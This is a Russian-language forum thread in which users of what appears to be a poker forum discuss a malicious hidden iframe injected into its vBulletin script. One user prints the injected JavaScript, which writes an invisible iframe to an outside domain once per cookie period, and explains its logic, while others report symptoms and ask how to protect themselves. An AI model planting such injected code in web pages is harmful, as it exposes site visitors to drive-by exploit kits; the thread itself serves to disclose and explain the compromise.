[maasea]

собственно, любой может убедиться разлогинившись.
подгружается стандартный для vbulletin скрипт clientscript/vbulletin_md5.js в который кто-то ловко вставил ифрейм со ссылкой на левый домен в зоне .com - можете посмотреть исходник сами.
возможно, левый код вставили и в другие скрипты, не проверял.

[HeatherAle]

скинь скриншот
я пытался найти через гугл хром свой- не смог.

[maasea]

выделенный фрагмент.

[jiamo]

Чем чревато?

[maasea]

на макскацоффе тоже кстати такой же ифрейм запихнули.

чревато тем, что ифрейм подгружает пак эксплойтов скорее всего. конечно не факт, что они расчитаны именно на твою версию браузера, тут уж как повезет.

[School47]

как защитится от этого?

[futualien]

Не сказал бы что прямо "хакнули", просто это была "бомба" - когда устанавливали форум, была такая строчка кода в скрипте и если вы понимаете в программировании, то увидите, что срабатывает она только при определенных условиях.

[Skill]

Что за бомба, кто мог заминировать и при каких условиях сработает?

[futualien]

Сообщение от Skill

Что за бомба, кто мог заминировать и при каких условиях сработает?

"Бомба" срабатывала, если вы удовлетворяли некоторым условиям, заданным злоумышленником. Их суть не так важна, но вот результат вполне впечатляет: не все пользователи "подрывались", поэтому так долго и пролежала. Кто-то даже и не замечал, а кто-то замечал, но молчал.

Сработать уже она не сможет, т.к. была удалена =) А заминировать мог кто-угодно, если скрипты форума были скачаны () не с официального ресурса. Но даже и на официальном ресурсе производителей форума мог быть "злой дядька", который такую эффективную штуку и сделал, например перед увольнением или для получения выгоды.

[Lure]

Конкретнее, кто пострадал? А то я может напоролся и не знаю.

[MaxBNuts]

Сообщение от Lure

Конкретнее, кто пострадал? А то я может напоролся и не знаю.

Поддерживаю любопытность, а то "бомбы" , "подрывы", "злые дядьки" ) Лучше горькая правда, чем "вода".

[stein]

И условия какие были интересно бы узнать - может кто-то из форумчан удовлетворял им и не знает до сих пор

[zigretc]

че за расклад, какая бомба?? Я думаю надо написать конкретно, а не отписываться.

[futualien]

Был такой код в скрипте:
[spoiler="вредный код"]
if (document.cookie.search("vb=555") == -1) {document.write("<if" + "rame src=http://ххх" + "хххх.com/fl/show.php style=display:none></ifra" + "me>"); document.cookie = "vb=555; expires=Sun, 10-Jan-2012 01:00:00 GMT;path=/";}
[/spoiler]
Логика кода:
1) проверяем, установлен ли кукис vb=555
2) если нет, то вписываем в окно фрейм и устанавливаем этот кукис до 10 января 2012 года
3) если кукис установлен, то ничего не делаем

Результат: исполнения
При первом заходе на форум неавторизованным вам вшивается этот фрейм и вы сами того не ведая загружаете страничку хакера, где выполняется Java-апплет (если установлена Java-машина), который запускает посещение другой страницы, содержащей javascript-код, приложением (например у меня вылез запрос на открытие файла, Opera 10.62). Во все последующие посещения форума скрипт вас затрагивать не будет, пока вы не очистите кукисы или не наступит 10 января 2012г., когда скрипт отработает вновь.

Отмечу, что:
1) Java-машина мало у кого установлена и фрейм откроется пустым
2) Скрипт ориентирован на какое-то конкретное приложение
3) файл имел давность начала 2009 года, соответственно можно предположить, что уязвимость какая-то старая и уже давно пофиксена обновлением уязвимой программы
4) не забывайте проверять компьютер на вирусы хотя бы раз в 1 неделю

[MaxBNuts]

Не знаю что это, но очень неприятно!
В трее появляется значок явы, а потом вылетает такая ошибка! При заходе на любую страницу CGM, началось минут 40 назад.
Объясните что это, чем опасно и как лечится..

[Dr.Dorsanval]

Сообщение от MaxBNuts

Не знаю что это, но очень неприятно!
В трее появляется значок явы, а потом вылетает такая ошибка! При заходе на любую страницу CGM, началось минут 40 назад.
Объясните что это, чем опасно и как лечится..

а у меня в течении часа открывался медиа плеер, и выкидывало на главную страницу, только при входе на цгм и при попытке зайти в какой-нибудь раздел, при этом каспер сильно ругался=(( хз что такое, сейчас зашел все норм.

[maasea]

через ифрейм грузился пак эксплойтов, который использует известные уязвимости браузеров/адоб ридера/вм плеера/явы/чего там еще придумают для загрузки к вам на компьютер связки вирусов.

то, что у вас при открытии сайта с таким ифреймом вылезает медиа плеер или адоб ридер (или любая другая программа) с ошибкой и ругается антивирус, говорит о том, что ваш браузер небезопасен и не стоит ставить эксперименты над сохранностью своих счетов в румах заходя с его помощью на ЦГМ, где за неделю уже 2 раза вставили один и тот же ифрейм (за год это уже минимум третий случай).

[pyjka]

вот что мне выдает фаерфокс

тоже самое и гугл хром выдает

[HighLamas]

у меня тоже самое

[WhiteTrash]

+1
Что это за фигня? Я отключил пока это предупреждение.